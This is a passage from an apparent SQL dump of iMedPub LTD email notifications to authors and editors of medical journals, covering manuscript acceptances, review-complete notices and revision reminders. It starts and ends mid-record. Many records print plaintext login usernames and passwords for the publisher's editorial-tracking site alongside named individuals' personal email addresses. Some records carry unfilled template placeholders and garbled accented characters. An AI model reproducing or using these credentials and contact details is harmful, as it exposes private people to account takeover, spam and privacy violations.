sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7635</b><br />\r\n            <br />\r\n            Article Title: <b>Predictive factors for Hemorrhagic Transformation after successful mechanical thrombectomy in cerebral large vessel occlusion</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Nobuaki Yamamoto</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-21-7635</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',7635,'2021-04-12',75),(2963,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7635</b><br />\r\n            <br />\r\n            Article Title: <b>Predictive factors for Hemorrhagic Transformation after successful mechanical thrombectomy in cerebral large vessel occlusion</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Yamamoto</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-12</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','nobyamamoto521129@yahoo.co.jp',7635,'2021-04-12',75),(2964,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8115</b><br />\r\n            <br />\r\n            Article Title: <b>DYSMORPHIC SYNDROME OR BODY DYSMORPHIC DISORDER: A MAJOR UNDERDIAGNOSED MENTAL HEALTH PROBLEM</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Sanchez Ca&Atilde;&plusmn;ate </b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-12</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','wsanchezc10@curnvirtual.edu.co',8115,'2021-04-12',48),(2966,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8115</b><br />\r\n            <br />\r\n            Article Title: <b>DYSMORPHIC SYNDROME OR BODY DYSMORPHIC DISORDER: A MAJOR UNDERDIAGNOSED MENTAL HEALTH PROBLEM</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Sanchez Ca&Atilde;&plusmn;ate </b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-12</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','wsanchezc10@curnvirtual.edu.co',8115,'2021-04-13',48),(2967,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8095</b><br />\r\n            <br />\r\n            Article Title: <b>PREVENTION MEASURES FOR POST INTENSIVE CARE SYNDROME IN TIMES OF COVID 19</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>farak gomez</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-13</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','jfarakg10@curnvirtual.edu.co',8095,'2021-04-13',1045),(2969,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7617</b><br />\r\n            <br />\r\n            Article Title: <b>Automatic Recognition of Epileptic Seizure from EEG Signal based on Discrete Wavelet Transform</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Abdol aziz Kalteh</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Etindele Sosso</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-21-7617</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> faustin_armel<br />\r\n            <b>Password:</b> HUJvN1Yf<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','faustin.armel.etindele.sosso@umontreal.ca',7617,'2021-04-14',75),(2970,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7617</b><br />\r\n            <br />\r\n            Article Title: <b>Automatic Recognition of Epileptic Seizure from EEG Signal based on Discrete Wavelet Transform</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Kalteh</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-13</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','shahpour1373@gmail.com',7617,'2021-04-14',75),(2971,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-21-8064</b><br />\r\n            <br />\r\n            Article Title: <b>Profile of Children Presenting with Gangrenous Intussusception: A Tertiary Hospital Experience.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jusurgery.com/\" target=\"_blank\">Journal of Universal Surgery</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Kevin Emeka</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Universal Surgery</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-13</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','chukwubuikeonline@yahoo.com',8064,'2021-04-14',319),(2973,'<p>Ref.:  Ms. No. : <b>ipaom-21-7764</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Identifying the Significance of Consanguinity for Epilepsy Patients at King Abdulaziz University Hospital in Jeddah, Saudi Arabia</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Alahmadi</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-7764</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>faisal</b><br />\r\npassword: <b>njGvI6rf</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','faisalmosaalahmadi@gmail.com',7764,'2021-04-14',85),(2974,'<p>Ref.:  Ms. No. : <b>ipaom-20-6964</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Comparative analysis of biochemical indexes of severe and non-severe patients infected with COVID-19</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. boufrioua</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-6964</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>el_ghali</b><br />\r\npassword: <b>NtJmwfgn</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','boufriouaelghali@gmail.com',6964,'2021-04-14',85),(2975,'<p>Ref.:  Ms. No. : <b>ipaom-20-6851</b><br />\r\n<br />\r\nARTICLE TITLE: <b>The application of Chloroquine and Hydroxychloroquine in the treatment of coronavirus disease 2019 (COVID-19).</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Bouhmou</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-6851</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>ayoub</b><br />\r\npassword: <b>8UKQYWcn</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','ayoub_1900@hotmail.fr',6851,'2021-04-14',85),(2984,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-21-8041</b><br />\r\n            <br />\r\n            Article Title: <b>Seroprevalence of cytomegalovirus among schizophrenic patients in Khartoum State</b><br />\r\n            <br />\r\n            Journal Title: <b>Annals of Clinical and Laboratory Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Latinovic</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaclr-21-8041</b> for the <b>Annals of Clinical and Laboratory Research</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','olatinovic@ihv.umaryland.edu',8041,'2021-04-15',984),(2986,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-7897</b><br />\r\n            <br />\r\n            Article Title: <b>Complications of a Heart Transplanted Patient With COVID-19 Infection</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Georgios Chatzis</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Theodoros </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-7897</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> aslanidis<br />\r\n            <b>Password:</b> qD4MurMN<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','thaslan@hotmail.com',7897,'2021-04-16',85),(2988,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-8014</b><br />\r\n            <br />\r\n            Article Title: <b>S&Atilde;&shy;ndrome de McKittrick-Wheelock Como Causa de Hipokalemia Refractaria y Lesi&Atilde;&sup3;n Renal Aguda. Reporte de Caso.+</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Strejilevich</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipadm-21-8014</b> for the <b>Archivos de Medicina</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','leonardostrejilevich@hotmail.com',8014,'2021-04-16',274),(2992,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-7897</b><br />\r\n            <br />\r\n            Article Title: <b>Complications of a Heart Transplanted Patient With COVID-19 Infection</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Chatzis</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-15</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','hatzis.g@gmail.com',7897,'2021-04-16',85),(2993,'<p>Ref.:  Ms. No. : <b>ipaom-20-6964</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Comparative analysis of biochemical indexes of severe and non-severe patients infected with COVID-19</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. boufrioua</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-6964</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>el_ghali</b><br />\r\npassword: <b>NtJmwfgn</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','boufriouaelghali@gmail.com',6964,'2021-04-16',85),(2994,'<p>Ref.:  Ms. No. : <b>ipaom-20-6851</b><br />\r\n<br />\r\nARTICLE TITLE: <b>The application of Chloroquine and Hydroxychloroquine in the treatment of coronavirus disease 2019 (COVID-19).</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Bouhmou</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-6851</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>ayoub</b><br />\r\npassword: <b>8UKQYWcn</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','ayoub_1900@hotmail.fr',6851,'2021-04-16',85),(2995,'<p>Ref.:  Ms. No. : <b>ipaom-21-7030</b><br />\r\n<br />\r\nARTICLE TITLE: <b>DO HEMATOLOG&Auml;&deg;C CANCERS &Auml;&deg;NCREASE THE FREQUENCY OF DEMODEX SPP?</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Ilhan</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-7030</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>gul</b><br />\r\npassword: <b>0Aq374SL</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','drgulilhan@hotmail.com',7030,'2021-04-16',85),(2996,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-7477</b><br />\r\n            <br />\r\n            Article Title: <b>Production of recombinant Adenovirus associated COVID-19 vector by using suspension HEK293 cells: Component of SARS CoV-2 vaccine</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Utkalendu Suvendusekhar Samantaray</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Richard </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-7477</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> m._fleming<br />\r\n            <b>Password:</b> F3hTrCHA<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','drrichardmfleming@gmail.com',7477,'2021-04-16',85),(2997,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-7477</b><br />\r\n            <br />\r\n            Article Title: <b>Production of recombinant Adenovirus associated COVID-19 vector by using suspension HEK293 cells: Component of SARS CoV-2 vaccine</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Utkalendu Suvendusekhar Samantaray</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Arda </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-7477</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> isik<br />\r\n            <b>Password:</b> 1GqmD6Ny<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kararda@yahoo.com',7477,'2021-04-16',85),(2998,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            